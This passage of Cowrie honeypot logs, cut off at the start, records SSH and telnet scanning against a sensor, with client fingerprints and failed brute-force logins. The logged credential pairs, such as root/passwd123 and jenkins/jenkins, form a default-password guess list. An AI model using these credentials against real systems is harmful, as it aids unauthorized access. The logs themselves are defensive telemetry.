16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:59.492474Z","src_ip":"45.153.34.97","session":"7c2da32c4c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"100.14.219.72","src_port":60874,"dst_ip":"10.17.0.5","dst_port":23,"session":"97e71ebf308b","protocol":"telnet","message":"New connection: 100.14.219.72:60874 (10.17.0.5:23) [session: 97e71ebf308b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:59.779438Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:00.071638Z","src_ip":"45.153.34.97","session":"7c2da32c4c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:01.181749Z","src_ip":"45.153.34.97","session":"7c2da32c4c84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":42142,"dst_ip":"10.17.0.5","dst_port":22,"session":"d757c8fb4d16","protocol":"ssh","message":"New connection: 45.153.34.97:42142 (10.17.0.5:22) [session: d757c8fb4d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:04.069355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:04.076105Z","src_ip":"45.153.34.97","session":"d757c8fb4d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:04.172687Z","src_ip":"45.153.34.97","session":"d757c8fb4d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openhabian","password":"openhabian","message":"login attempt [openhabian/openhabian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:04.917738Z","src_ip":"45.153.34.97","session":"d757c8fb4d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:06.007725Z","src_ip":"45.153.34.97","session":"d757c8fb4d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55899,"dst_ip":"10.17.0.5","dst_port":22,"session":"32e1ca9000a4","protocol":"ssh","message":"New connection: 167.172.81.52:55899 (10.17.0.5:22) [session: 32e1ca9000a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:08.039533Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:08.068737Z","src_ip":"167.172.81.52","session":"32e1ca9000a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:08.074811Z","src_ip":"167.172.81.52","session":"32e1ca9000a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":42152,"dst_ip":"10.17.0.5","dst_port":22,"session":"9abf7d972696","protocol":"ssh","message":"New connection: 45.153.34.97:42152 (10.17.0.5:22) [session: 9abf7d972696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:08.372344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:08.381388Z","src_ip":"45.153.34.97","session":"9abf7d972696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:08.479458Z","src_ip":"45.153.34.97","session":"9abf7d972696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"69","message":"login attempt [root/69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:09.023124Z","src_ip":"45.153.34.97","session":"9abf7d972696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51686,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4069aab38cb","protocol":"telnet","message":"New connection: 152.42.224.71:51686 (10.17.0.5:23) [session: d4069aab38cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:09.926161Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:10.109120Z","src_ip":"45.153.34.97","session":"9abf7d972696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.097163915634155,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:12.876390Z","src_ip":"100.14.219.72","session":"97e71ebf308b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.88769340515137,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:13.027954Z","src_ip":"152.42.224.71","session":"21ca44fb3cc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":62310,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e1291ddf03d","protocol":"ssh","message":"New connection: 45.153.34.97:62310 (10.17.0.5:22) [session: 5e1291ddf03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:13.079455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:13.087892Z","src_ip":"45.153.34.97","session":"5e1291ddf03d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:13.583891Z","src_ip":"45.153.34.97","session":"5e1291ddf03d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:13.873255Z","src_ip":"45.153.34.97","session":"5e1291ddf03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":57744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c63c1b43d21","protocol":"ssh","message":"New connection: 43.135.177.217:57744 (10.17.0.5:22) [session: 6c63c1b43d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:13.944805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:13.950509Z","src_ip":"43.135.177.217","session":"6c63c1b43d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:14.019732Z","src_ip":"43.135.177.217","session":"6c63c1b43d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miranda","message":"login attempt [root/miranda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:14.324728Z","src_ip":"43.135.177.217","session":"6c63c1b43d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:14.969677Z","src_ip":"45.153.34.97","session":"5e1291ddf03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51702,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ab3d6adeb9d","protocol":"telnet","message":"New connection: 152.42.224.71:51702 (10.17.0.5:23) [session: 4ab3d6adeb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:15.075158Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:15.398787Z","src_ip":"43.135.177.217","session":"6c63c1b43d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51708,"dst_ip":"10.17.0.5","dst_port":23,"session":"80aff59a3751","protocol":"telnet","message":"New connection: 152.42.224.71:51708 (10.17.0.5:23) [session: 80aff59a3751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:15.674485Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":62338,"dst_ip":"10.17.0.5","dst_port":22,"session":"b98264ca0ba5","protocol":"ssh","message":"New connection: 45.153.34.97:62338 (10.17.0.5:22) [session: b98264ca0ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:17.307477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:17.508813Z","src_ip":"45.153.34.97","session":"b98264ca0ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:17.513570Z","src_ip":"45.153.34.97","session":"b98264ca0ba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.170321226119995,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:18.245336Z","src_ip":"152.42.224.71","session":"4ab3d6adeb9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":45976,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bf1f03387ad","protocol":"ssh","message":"New connection: 103.77.175.15:45976 (159.203.135.109:22) [session: 1bf1f03387ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:18.856807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:18.866001Z","src_ip":"103.77.175.15","session":"1bf1f03387ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:18.890053Z","src_ip":"45.153.34.97","session":"b98264ca0ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:19.117458Z","src_ip":"103.77.175.15","session":"1bf1f03387ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaaaa","message":"login attempt [root/aaaaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:19.878038Z","src_ip":"103.77.175.15","session":"1bf1f03387ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:19.983124Z","src_ip":"45.153.34.97","session":"b98264ca0ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":45302,"dst_ip":"159.203.135.109","dst_port":22,"session":"978473b64a4c","protocol":"ssh","message":"New connection: 43.130.38.88:45302 (159.203.135.109:22) [session: 978473b64a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:19.993414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:19.998001Z","src_ip":"43.130.38.88","session":"978473b64a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:20.068442Z","src_ip":"43.130.38.88","session":"978473b64a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd123","message":"login attempt [root/passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:20.373694Z","src_ip":"43.130.38.88","session":"978473b64a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48258,"dst_ip":"10.17.0.5","dst_port":23,"session":"2759d4fa9c57","protocol":"telnet","message":"New connection: 152.42.224.71:48258 (10.17.0.5:23) [session: 2759d4fa9c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:20.427820Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":44350,"dst_ip":"159.203.135.109","dst_port":22,"session":"174dcfa032df","protocol":"ssh","message":"New connection: 43.153.31.20:44350 (159.203.135.109:22) [session: 174dcfa032df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:20.525518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:10:20.535810Z","src_ip":"43.153.31.20","session":"174dcfa032df","protocol":"ssh"}
